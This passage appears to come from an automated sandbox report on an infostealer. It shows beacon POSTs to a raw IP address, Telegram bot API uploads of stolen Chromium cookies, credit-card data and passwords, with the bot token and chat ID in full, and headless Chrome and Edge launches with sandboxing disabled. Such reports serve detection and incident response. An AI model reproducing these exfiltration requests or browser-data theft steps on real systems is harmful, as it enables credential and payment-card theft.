GMT Content-Type: application/json Content-Length: 56 Connection: keep-alive Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Type Date Server Connection with response body ==>7B226F6B223A66616C73652C226572726F725F636F6465223A3430302C226465736372697074696F6E223A224C6F67676564206F7574227D....... "POST /CPndoF?ia=0CPIMYQFVLGQMTAY HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 192.3.45.7:3121 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "504F5354202F43506E646F463F69613D304350494D595146564C47514D54415920485454502F312E310A4163636570743A202A2F2A0A4163636570742D4C616E67756167653A20656E2D75730A4163636570742D456E636F64696E673A20677A69702C206465666C6174650A557365722D4167656E743A204D6F7A696C6C612F342E302028636F6D70617469626C653B204D53494520372E303B2057696E646F7773204E542031302E303B20574F5736343B2054726964656E742F372E303B202E4E4554342E30433B202E4E4554342E30453B20496E666F506174682E333B202E4E455420434C5220322E302E35303732373B202E4E455420434C5220332E302E33303732393B202E4E455420434C5220332E352E3330373239290A486F73743A203139322E332E34352E373A333132310A436F6E74656E742D4C656E6774683A20300A436F6E6E656374696F6E3A204B6565702D416C6976650A43616368652D436F6E74726F6C3A206E6F2D63616368650A" HTTP/1.1 200 OK Date: Thu 16 Apr 2026 13:35:01 GMT X-A: with no response body "POST /CPndoF?ia=0CPIMYQFVLGQMTAY HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 192.3.45.7:3121 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "504F5354202F43506E646F463F69613D304350494D595146564C47514D54415920485454502F312E310A4163636570743A202A2F2A0A4163636570742D4C616E67756167653A20656E2D75730A4163636570742D456E636F64696E673A20677A69702C206465666C6174650A557365722D4167656E743A204D6F7A696C6C612F342E302028636F6D70617469626C653B204D53494520372E303B2057696E646F7773204E542031302E303B20574F5736343B2054726964656E742F372E303B202E4E4554342E30433B202E4E4554342E30453B20496E666F506174682E333B202E4E455420434C5220322E302E35303732373B202E4E455420434C5220332E302E33303732393B202E4E455420434C5220332E352E3330373239290A486F73743A203139322E332E34352E373A333132310A436F6E74656E742D4C656E6774683A20300A436F6E6E656374696F6E3A204B6565702D416C6976650A43616368652D436F6E74726F6C3A206E6F2D63616368650A" HTTP/1.1 200 OK Date: Thu 16 Apr 2026 13:35:11 GMT X-A: with no response body "POST /CPndoF?ia=0CPIMYQFVLGQMTAY HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 192.3.45.7:3121 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "504F5354202F43506E646F463F69613D304350494D595146564C47514D54415920485454502F312E310A4163636570743A202A2F2A0A4163636570742D4C616E67756167653A20656E2D75730A4163636570742D456E636F64696E673A20677A69702C206465666C6174650A557365722D4167656E743A204D6F7A696C6C612F342E302028636F6D70617469626C653B204D53494520372E303B2057696E646F7773204E542031302E303B20574F5736343B2054726964656E742F372E303B202E4E4554342E30433B202E4E4554342E30453B20496E666F506174682E333B202E4E455420434C5220322E302E35303732373B202E4E455420434C5220332E302E33303732393B202E4E455420434C5220332E352E3330373239290A486F73743A203139322E332E34352E373A333132310A436F6E74656E742D4C656E6774683A20300A436F6E6E656374696F6E3A204B6565702D416C6976650A43616368652D436F6E74726F6C3A206E6F2D63616368650A" HTTP/1.1 200 OK Date: Thu 16 Apr 2026 13:35:21 GMT X-A: with no response body "POST /CPndoF?ia=0CPIMYQFVLGQMTAY HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 192.3.45.7:3121 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "504F5354202F43506E646F463F69613D304350494D595146564C47514D54415920485454502F312E310A4163636570743A202A2F2A0A4163636570742D4C616E67756167653A20656E2D75730A4163636570742D456E636F64696E673A20677A69702C206465666C6174650A557365722D4167656E743A204D6F7A696C6C612F342E302028636F6D70617469626C653B204D53494520372E303B2057696E646F7773204E542031302E303B20574F5736343B2054726964656E742F372E303B202E4E4554342E30433B202E4E4554342E30453B20496E666F506174682E333B202E4E455420434C5220322E302E35303732373B202E4E455420434C5220332E302E33303732393B202E4E455420434C5220332E352E3330373239290A486F73743A203139322E332E34352E373A333132310A436F6E74656E742D4C656E6774683A20300A436F6E6E656374696F6E3A204B6565702D416C6976650A43616368652D436F6E74726F6C3A206E6F2D63616368650A" HTTP/1.1 200 OK Date: Thu 16 Apr 2026 13:35:31 GMT X-A: with no response body "POST /CPndoF?ia=0CPIMYQFVLGQMTAY HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 192.3.45.7:3121 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "504F5354202F43506E646F463F69613D304350494D595146564C47514D54415920485454502F312E310A4163636570743A202A2F2A0A4163636570742D4C616E67756167653A20656E2D75730A4163636570742D456E636F64696E673A20677A69702C206465666C6174650A557365722D4167656E743A204D6F7A696C6C612F342E302028636F6D70617469626C653B204D53494520372E303B2057696E646F7773204E542031302E303B20574F5736343B2054726964656E742F372E303B202E4E4554342E30433B202E4E4554342E30453B20496E666F506174682E333B202E4E455420434C5220322E302E35303732373B202E4E455420434C5220332E302E33303732393B202E4E455420434C5220332E352E3330373239290A486F73743A203139322E332E34352E373A333132310A436F6E74656E742D4C656E6774683A20300A436F6E6E656374696F6E3A204B6565702D416C6976650A43616368652D436F6E74726F6C3A206E6F2D63616368650A" HTTP/1.1 200 OK Date: Thu 16 Apr 2026 13:35:41 GMT X-A: with no response body "POST /CPndoF?ia=0CPIMYQFVLGQMTAY HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 192.3.45.7:3121 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "504F5354202F43506E646F463F69613D304350494D595146564C47514D54415920485454502F312E310A4163636570743A202A2F2A0A4163636570742D4C616E67756167653A20656E2D75730A4163636570742D456E636F64696E673A20677A69702C206465666C6174650A557365722D4167656E743A204D6F7A696C6C612F342E302028636F6D70617469626C653B204D53494520372E303B2057696E646F7773204E542031302E303B20574F5736343B2054726964656E742F372E303B202E4E4554342E30433B202E4E4554342E30453B20496E666F506174682E333B202E4E455420434C5220322E302E35303732373B202E4E455420434C5220332E302E33303732393B202E4E455420434C5220332E352E3330373239290A486F73743A203139322E332E34352E373A333132310A436F6E74656E742D4C656E6774683A20300A436F6E6E656374696F6E3A204B6565702D416C6976650A43616368652D436F6E74726F6C3A206E6F2D63616368650A" HTTP/1.1 200 OK Date: Thu 16 Apr 2026 13:35:51 GMT X-A: with no response body "POST /CPndoF?ia=0CPIMYQFVLGQMTAY HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 192.3.45.7:3121 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "504F5354202F43506E646F463F69613D304350494D595146564C47514D54415920485454502F312E310A4163636570743A202A2F2A0A4163636570742D4C616E67756167653A20656E2D75730A4163636570742D456E636F64696E673A20677A69702C206465666C6174650A557365722D4167656E743A204D6F7A696C6C612F342E302028636F6D70617469626C653B204D53494520372E303B2057696E646F7773204E542031302E303B20574F5736343B2054726964656E742F372E303B202E4E4554342E30433B202E4E4554342E30453B20496E666F506174682E333B202E4E455420434C5220322E302E35303732373B202E4E455420434C5220332E302E33303732393B202E4E455420434C5220332E352E3330373239290A486F73743A203139322E332E34352E373A333132310A436F6E74656E742D4C656E6774683A20300A436F6E6E656374696F6E3A204B6565702D416C6976650A43616368652D436F6E74726F6C3A206E6F2D63616368650A" HTTP/1.1 200 OK Date: Thu 16 Apr 2026 13:36:01 GMT X-A: with no response body "POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard&laf=b64bin HTTP/2 Host: accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Sec-Fetch-Mode: no-cors Sec-Fetch-Site: none Accept-Language: en-US,en;q=0.9 Origin: https://www.google.com Priority: u=4, i Accept-Encoding: gzip, deflate, br, zstd Sec-Fetch-Dest: empty" with payload::==> "504F5354202F4C6973744163636F756E74733F67707369613D3126736F757263653D4368726F6D69756D42726F77736572266A736F6E3D7374616E64617264266C61663D62363462696E20485454502F320A486F73743A206163636F756E74732E676F6F676C652E636F6D0A557365722D4167656E743A204D6F7A696C6C612F352E30202857696E646F7773204E542031302E303B2057696E36343B2078363429204170706C655765624B69742F3533372E333620284B48544D4C2C206C696B65204765636B6F29204368726F6D652F3134342E302E302E30205361666172692F3533372E33360A436F6E74656E742D547970653A206170706C69636174696F6E2F782D7777772D666F726D2D75726C656E636F6465640A5365632D46657463682D4D6F64653A206E6F2D636F72730A5365632D46657463682D536974653A206E6F6E650A4163636570742D4C616E67756167653A20656E2D55532C656E3B713D302E390A4F726967696E3A2068747470733A2F2F7777772E676F6F676C652E636F6D0A5072696F726974793A20753D342C20690A4163636570742D456E636F64696E673A20677A69702C206465666C6174652C2062722C207A7374640A5365632D46657463682D446573743A20656D7074790A" HTTP/2 200 OK Content-Type: application/binary Date: Thu 16 Apr 2026 11:34:47 GMT Server: ESF Expires: Mon 01 Jan 1990 00:00:00 GMT Vary: Origin Permissions-Policy: ch-ua-arch=* ch-ua-bitness=* ch-ua-full-version=* ch-ua-full-version-list=* ch-ua-model=* ch-ua-wow64=* ch-ua-form-factors=* ch-ua-platform=* ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Pragma: no-cache Strict-Transport-Security: max-age=31536000; includeSubDomains Accept-Ch: Sec-CH-UA-Arch Sec-CH-UA-Bitness Sec-CH-UA-Full-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Model Sec-CH-UA-WoW64 Sec-CH-UA-Form-Factors Sec-CH-UA-Platform Sec-CH-UA-Platform-Version Access-Control-Allow-Origin: https://www.google.com Reporting-Endpoints: default="/_/IdentityListAccountsHttp/web-reports?context=eJzjUtHikmJw1pBiOHxtB5Meyy0mIyDW1PNl0wVi84n-bNZALMTDcX1S83k2gRu3b8xmVtJNyi-Mz0xJzSvJLKnMySwuSUxOzi_NKykuTi0qSy2KNzIwMjMwMTTSM7CILzAAAMN8H70" Access-Control-Allow-Credentials: true Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data:;report-uri /_/IdentityListAccountsHttp/cspreport/fine-allowlist X-Xss-Protection: 0 X-Content-Type-Options: nosniff Cache-Control: no-cache no-store max-age=0 must-revalidate Alt-Svc: h3=":443"; ma=2592000 h3-29=":443"; ma=2592000 with no response body3a:T6fa,"api.telegram.org" (Indicator: "telegram.org"; File: "PCAP") "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="16ba15eb-ba3a-4fef-bb8e-3f99ea5a7c44"Host: api.telegram.orgContent-Length: 279Connection: Keep-Alive--16ba15eb-ba3a-4fef-bb8e-3f99ea5a7c44Content-Disposition: form-data; name=document; filename=Chromium_cookies_DESKTOP-FVVF82A_2026-04-16_11.34.46.json; filename*=utf-8''Chromium_cookies_DESKTOP-FVVF82A_2026-04-16_11.34.46.json[]--16ba15eb-ba3a-4fef-bb8e-3f99ea5a7c44--" (Indicator: "telegram.org"; File: "PCAP") "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="cab6095a-de59-4c45-a8a8-d6ba0db24ddf"Host: api.telegram.orgContent-Length: 285--cab6095a-de59-4c45-a8a8-d6ba0db24ddfContent-Disposition: form-data; name=document; filename=Chromium_credit_cards_DESKTOP-FVVF82A_2026-04-16_11.34.46.txt; filename*=utf-8''Chromium_credit_cards_DESKTOP-FVVF82A_2026-04-16_11.34.46.txt--cab6095a-de59-4c45-a8a8-d6ba0db24ddf--" (Indicator: "telegram.org"; File: "PCAP") "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="3d17aadf-3e9d-4760-8735-93916096ec42"Host: api.telegram.orgContent-Length: 279--3d17aadf-3e9d-4760-8735-93916096ec42Content-Disposition: form-data; name=document; filename=Chromium_passwords_DESKTOP-FVVF82A_2026-04-16_11.34.46.txt; filename*=utf-8''Chromium_passwords_DESKTOP-FVVF82A_2026-04-16_11.34.46.txt--3d17aadf-3e9d-4760-8735-93916096ec42--" (Indicator: "telegram.org"; File: "PCAP")3b:T3a2d,Process "chrome.exe" with commandline "--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="%TEMP%\\o31bbhd3.5fh"" (UID: 00000000-00004876) Process "chrome.exe" with commandline "--type=gpu-process --no-sandbox --user-data-dir="%TEMP%\\o31bbhd3.5fh" --no-pre-read-main-dll --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=d3d11-warp-webgl --metrics-shmem-handle=1936,i,9456570613051642633,914440900268292834,262144 --field-trial-handle=2156,i,287189238027870726,6766360252919178102,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=2108 /prefetch:2" (UID: 00000000-00004852) Process "chrome.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="%TEMP%\\o31bbhd3.5fh" --no-pre-read-main-dll --metrics-shmem-handle=2240,i,6640779367375260188,4030152471158642434,524288 --field-trial-handle=2156,i,287189238027870726,6766360252919178102,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2696 /prefetch:3" (UID: 00000000-00007448) Process "chrome.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="%TEMP%\\o31bbhd3.5fh" --no-pre-read-main-dll --metrics-shmem-handle=2352,i,16205931887533004910,17396996644674282662,524288 --field-trial-handle=2156,i,287189238027870726,6766360252919178102,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=3200 /prefetch:8" (UID: 00000000-00000188) Process "msedge.exe" with commandline "--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="%TEMP%\\xj3zl1ra.z2q"" (UID: 00000000-00007752) Process "msedge.exe" with commandline "--type=gpu-process --no-sandbox --user-data-dir="%TEMP%\\xj3zl1ra.z2q" --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=d3d11-warp-webgl --startup-read-main-dll --metrics-shmem-handle=2124,i,9985225895540127572,16115413485558574057,262144 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=2384 /prefetch:2" (UID: 00000000-00000032) Process "msedge.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="%TEMP%\\xj3zl1ra.z2q" --startup-read-main-dll --metrics-shmem-handle=2220,i,15147319571727136411,15603129144581890519,524288 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=4608 /prefetch:3" (UID: 00000000-00004792) Process "msedge.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="%TEMP%\\xj3zl1ra.z2q" --startup-read-main-dll --metrics-shmem-handle=2436,i,8222622226756444540,11292214644679058804,524288 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=4792 /prefetch:8" (UID: 00000000-00002680) Process "msedge.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\xj3zl1ra.z2q" --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2525886881 --ssd-no-pressure-read-main-dll --metrics-shmem-handle=3156,i,970826850800122621,11491360207409534633,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708991934122588 --mojo-platform-channel-handle=4824 /prefetch:1" (UID: 00000000-00007028) Process "msedge.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\xj3zl1ra.z2q" --instant-process --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2526207609 --skip-read-main-dll --metrics-shmem-handle=3172,i,14504203974186335816,3291551006934558397,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=4888 /prefetch:1" (UID: 00000000-00000312) Process "msedge.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\xj3zl1ra.z2q" --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2526540739 --skip-read-main-dll --metrics-shmem-handle=3460,i,7698393735735058657,11447576144750238817,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708992871164437 --mojo-platform-channel-handle=4948 /prefetch:1" (UID: 00000000-00000776) Process "msedge.exe" with commandline "--type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="%TEMP%\\xj3zl1ra.z2q" --skip-read-main-dll --metrics-shmem-handle=3548,i,3629151096642193505,17331351076927854797,524288 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708993808206286 --mojo-platform-channel-handle=4912 /prefetch:8" (UID: 00000000-00001692) Process "msedge.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\xj3zl1ra.z2q" --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2527020807 --skip-read-main-dll --metrics-shmem-handle=3572,i,17916242909100943126,3470579298083047021,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708994745248135 --mojo-platform-channel-handle=4856 /prefetch:1" (UID: 00000000-00002756) Process "msedge.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\xj3zl1ra.z2q" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2527271382 --skip-read-main-dll --metrics-shmem-handle=3620,i,17209351608039087243,2968266374874066882,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708995682289984 --mojo-platform-channel-handle=5024 /prefetch:2" (UID: 00000000-00000936) Process "msedge.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\xj3zl1ra.z2q" --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2527508941 --skip-read-main-dll --metrics-shmem-handle=3652,i,10748417426877790385,9769135253363039466,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708996619331833 --mojo-platform-channel-handle=5044 /prefetch:1" (UID: 00000000-00007640) Process "msedge.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\xj3zl1ra.z2q" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2528158710 --skip-read-main-dll --metrics-shmem-handle=3684,i,5929878763740370448,15275259875872210368,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708997556373682 --mojo-platform-channel-handle=5112 /prefetch:2" (UID: 00000000-00007952) Process "msedge.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\xj3zl1ra.z2q" --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2528528112 --skip-read-main-dll --metrics-shmem-handle=3736,i,10725263977784947393,4836732874049295478,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708998493415531 --mojo-platform-channel-handle=3948 /prefetch:1" (UID: 00000000-00003044) Process "msedge.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\xj3zl1ra.z2q" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2528867833 --skip-read-main-dll --metrics-shmem-handle=3764,i,7211635083049899476,227533927760054042,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708999430457380 --mojo-platform-channel-handle=5196 /prefetch:2" (UID: 00000000-00007204) Process "msedge.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\xj3zl1ra.z2q" --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2529193706 --skip-read-main-dll --metrics-shmem-handle=3780,i,11226172908025895850,12983629082047822848,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190709000367499229 --mojo-platform-channel-handle=5168 /prefetch:1" (UID: 00000000-00008124) Process "msedge.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\xj3zl1ra.z2q" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2529605935 --skip-read-main-dll --metrics-shmem-handle=3812,i,1246711208483623059,6961256887613805369,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190709001304541078 --mojo-platform-channel-handle=3760 /prefetch:2" (UID: 00000000-00005488) Process "msedge.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\xj3zl1ra.z2q" --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2530118755 --skip-read-main-dll --metrics-shmem-handle=3836,i,1324964392086161875,12213488799103110548,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190709002241582927 --mojo-platform-channel-handle=5324 /prefetch:1" (UID: 00000000-00005832) Process "msedge.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\xj3zl1ra.z2q" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2530570622 --skip-read-main-dll --metrics-shmem-handle=3860,i,12378034792699480710,4094003296034387722,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190709003178624776 --mojo-platform-channel-handle=3796 /prefetch:2" (UID: 00000000-00001104) Process "msedge.exe" with commandline "--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="%TEMP%\\bvhj5y2v.rlr"" (UID: 00000000-00004200) Process "msedge.exe" with commandline "--type=gpu-process --no-sandbox --user-data-dir="%TEMP%\\bvhj5y2v.rlr" --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=d3d11-warp-webgl --startup-read-main-dll --metrics-shmem-handle=1804,i,15533710262236778008,16151374292479671788,262144 --field-trial-handle=2304,i,17669980048870375532,3363849576952657668,262144 --variations-seed-version --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=2300 /prefetch:2" (UID: 00000000-00007620) Process "msedge.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="%TEMP%\\bvhj5y2v.rlr" --startup-read-main-dll --metrics-shmem-handle=1884,i,12057915396490039899,16664437038645168491,524288 --field-trial-handle=2304,i,17669980048870375532,3363849576952657668,262144 --variations-seed-version --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=4352 /prefetch:3" (UID: 00000000-00004292)3c:T684,"POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1 Content-Type: multipart/form-data; boundary="16ba15eb-ba3a-4fef-bb8e-3f99ea5a7c44" Host: api.telegram.org Content-Length: 279 Connection: Keep-Alive" with payload:==> "--16ba15eb-ba3a-4fef-bb8e-3f99ea5a7c44Content-Disposition: form-data; name=document; filename=Chromium_cookies_DESKTOP-FVVF82A_2026-04-16_11.34.46.json; filename*=utf-8''Chromium_cookies_DESKTOP-FVVF82A_2026-04-16_11.34.46.json[]--16ba15eb-ba3a-4fef-bb8e-3f99ea5a7c44--" "POST 